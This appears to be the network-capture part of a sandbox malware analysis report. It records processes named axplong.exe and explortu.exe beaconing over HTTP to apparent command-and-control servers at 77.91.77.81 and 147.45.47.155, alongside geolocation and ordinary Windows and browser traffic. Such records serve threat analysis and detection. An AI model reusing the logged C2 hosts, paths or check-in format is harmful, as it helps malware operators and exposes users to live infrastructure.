Jun 20, 2024 15:42:37.647425890 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:38.328793049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:44.415621996 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:44.630917072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49936	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:44.738936901 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:45.422550917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:51.540115118 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:42:51.753798962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49937	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:42:49.172235012 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:42:49.845355988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:42:49.846071959 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:42:50.053766966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49704	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:37:51 UTC	59	OUT	GET / HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-06-20 13:37:52 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 20 Jun 2024 13:37:51 GMT content-type: application/json; charset=utf-8 Content-Length: 319 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-20 13:37:52 UTC	319	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VrO4RO73dUtSVk1&MD=CngaslCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-06-20 13:38:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: fb5120a4-fb19-4496-9f72-974347fac80c MS-RequestId: 9ca0842a-4f16-40d0-bb91-f13db6a50a71 MS-CV: SUANaM9lv02OlCAE.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 20 Jun 2024 13:38:16 GMT Connection: close Content-Length: 24490
2024-06-20 13:38:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-06-20 13:38:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49719	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:18 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1718890663974&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-06-20 13:38:18 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-06-20 13:38:18 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-06-20 13:38:18 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 90D62561B47C4C899BE868A4FB5DB2D0 Ref B: LAX311000111049 Ref C: 2024-06-20T13:38:18Z Date: Thu, 20 Jun 2024 13:38:18 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1718890698.24d18b29

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49734	172.217.23.110	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:25 UTC	818	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 13:38:26 UTC	2467	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 20 Jun 2024 13:38:26 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Thu, 20-Jun-2024 14:08:26 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=LDyToisWtWE; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=NVlLuxFIwGY; Domain=.youtube.com; Expires=Tue, 17-Dec-2024 13:38:26 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgJA%3D%3D; Domain=.youtube.com; Expires=Tue, 17-Dec-2024 13:38:26 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49759	23.43.61.160	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-06-20 13:38:31 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=181866 Date: Thu, 20 Jun 2024 13:38:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49768	23.43.61.160	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-06-20 13:38:32 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=181837 Date: Thu, 20 Jun 2024 13:38:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-06-20 13:38:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49776	172.217.18.110	443	6436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 13:38:34 UTC	1232	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1113295622&timestamp=1718890712616 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 13:38:34 UTC	1934	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: script-src 'report-sample' 'nonce-JHMIlzx8jzBva_t0FVyrBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 20 Jun 2024 13:38:34 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzjMtDikmII1pBikPj6kkkNiJ3SZ7AGAHHSv_OsBUDc_vkC61QgXhJxkfVA4kVWIR6OWw8vbGYTuPFw3VUmJb2k_ML4zJTUvJLMksqU_NzEzLzk_PzszNTi4tSistSieCMDIxMDMwNLPQOL-AIDAOXyLDs" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
